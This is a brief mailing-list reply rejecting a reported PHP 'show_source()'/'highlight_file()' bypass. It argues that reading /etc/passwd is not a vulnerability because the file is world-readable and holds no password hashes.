Re: php 4.x php5.2.x all "show_source()" ,"highlight_file()" bypass‏

There is no bug so no exploit can exist. File /etc/passwd is readable by any user (inside PHP with safe_mode disabled also) as it doesn't contain very sensitive information such as user passwords.

Double check what are you posting before actually doing it please.
